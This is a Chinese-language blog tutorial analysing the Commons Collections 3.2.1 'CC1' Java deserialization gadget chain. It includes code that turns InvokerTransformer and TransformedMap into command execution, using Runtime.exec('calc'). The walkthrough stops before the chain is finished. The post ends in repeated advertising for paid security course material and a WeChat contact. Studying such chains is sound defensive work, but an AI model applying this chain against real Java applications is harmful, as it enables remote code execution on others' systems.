赞
踩
Apache Commons Collections是Apache提供的一个Java库,它扩展了Java自带的集合框架。通过这个库,咱们可以使用更多种类的集合类型,以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的,或者实现起来比较繁琐。
commons-collections 组件反序列化漏洞的反射链也称为CC链,本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。
Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)
通过配置Maven依赖下载 CommonsCollections3.2.1版本
commons-collections commons-collections 3.2.1因为jdk自带的包里面有些文件是反编译的.class文件(比如说这里的 sun 包),我们调试的时候没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们去 openjdk 安装相应的源码(可以自行了解一下 oraclejdk 和 openjdk 区别与联系):
jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)
下载好压缩包之后解压,拷贝 /src/share/classes下的sun文件夹,进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把我们拷贝的 sun 文件夹粘贴到 src 文件夹中去
idea 打开项目,打开 File -> Project Structure -> Platforms Settings -> SDKs,把src文件夹添加到 Sourcepath 下,保存即可。
CC1链的源头就是 Commons Collections 库中的 Tranformer 接口,这个接口里面有个 transform 方法。
ctrl + alt +b 查看哪些类调用了这个接口
进入重写 transform 方法的 InvokerTransformer 类
发现它重写了 Serializable,比较符合我们的要求。看一下构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
接受三个参数,分别是方法名,方法类型(Class 数组),方法参数(Object 数组)
再来到重写的 transform(
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException(“InvokerTransformer: The method '” + this.iMethodName + “’ on '” + input.getClass() + “’ does not exist”);
} catch (IllegalAccessException var5) {
throw new FunctorException(“InvokerTransformer: The method '” + this.iMethodName + “’ on '” + input.getClass() + “’ cannot be accessed”);
} catch (InvocationTargetException var6) {
throw new FunctorException(“InvokerTransformer: The method '” + this.iMethodName + “’ on '” + input.getClass() + “’ threw an exception”, var6);
}
}
}
参数接受一个对象,然后通过反射机制来调用某个方法执行,我们看构造函数已经发现了参数都是我们可控的,那么不就可以构造任意方法执行了吗?
我们先尝试用这个类的 transform 方法实现计算器的弹出
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”}).transform®;
}
可以看到命令成功执行了,我们推链子都是逆着来的,所以现在就相当于找到源头了,接下来就是一步步回溯,寻找合适的子类调用了InvokerTransformer 的 transform 方法,构造漏洞链,直到到达重写了 readObject 的类为止。
那现在就可以找谁调用了 transform 了,有一点值得注意的是不要去找某个类的 transform 调用了 transform,不然你又得去找谁调用了 transform 了,要找就找不同方法调用 transform。
我们先 find usages 查找都有谁调用了。
看到我们需要的TransformedMap类下的checkSetValue方法
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
老规矩先看一下这个类的构造方法。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
接受三个参数,一个 Map 型,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
特别是第三个参数,我们 checkSetValue return 的就是这第三个参数执行的 transform 方法,所以第三个参数可以传invokerTransformer 对象。
可以看到构造器和方法都是protected权限的,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
它接受了和构造方法一样的参数并且实例化了这个类。
这里有一个小知识 staic 修饰的静态方法可以直接类名 + 方法名调用
那我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”});
Map map = new HashMap();
TransformedMap.decorate(map, null, invokerTransformer);
这里的第二个参数没有用到,所以先设置为 null
然后我们就得找 checkSetValue 怎么被调用了。我们发现只有 AbstractInputCheckedMapDecorator 调用了 checkSetValue。而且它是 TransformedMap 的父类
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
其副类 MapEntry 里的 setValue 方法调用了 checkSetValue。
MapEntry 继承于 AbstractMapEntryDecorator,AbstractMapEntryDecorator 又引入了 Map.Entry 接口
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。所以用 TransformedMap 的 entrySet() 遍历 Map 的时候就能调用 setValue 方法
Java HashMap entrySet() 方法 | 菜鸟教程 (runoob.com)
所以我们只需要进行常用的Map遍历,就可以调用setValue方法
for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
entry.setValue®; //调用setValue方法,并把对象r当作对象传入
}
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”});
HashMap map = new HashMap();
map.put(“aaa”,“aaa”); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
entry.setValue®; //调用setValue方法,并把对象r当作对象传入
流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “aaa”->“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。,而这个重写的方法正好调用了 checkSetValue。
老规矩,继续查找用法,看看有哪些方法里面调用了setValue并且可以被我们所利用.
好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法
而且还是重写的 readObject 方法调用的
我们依旧看一下这个类的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map
接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历,所以这个我们就可以传 invokerTransformer 。
注意到这个构造器没有类型,所以默认只能内部调用,那我们只能用 反射 来获取构造方法了。
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
4967725)]
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-eB7FOoVr-1712664967725)]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。